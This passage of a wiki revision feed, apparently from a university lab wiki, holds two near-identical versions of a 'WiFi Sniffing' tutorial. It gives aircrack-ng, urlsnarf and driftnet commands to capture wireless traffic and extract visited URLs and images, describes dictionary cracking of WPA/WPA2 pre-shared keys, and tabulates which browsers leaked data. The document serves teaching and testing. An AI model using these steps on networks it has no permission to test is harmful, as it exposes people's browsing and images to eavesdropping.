&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8230</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8230"/>
		<updated>2021-12-17T09:54:13Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
</feed>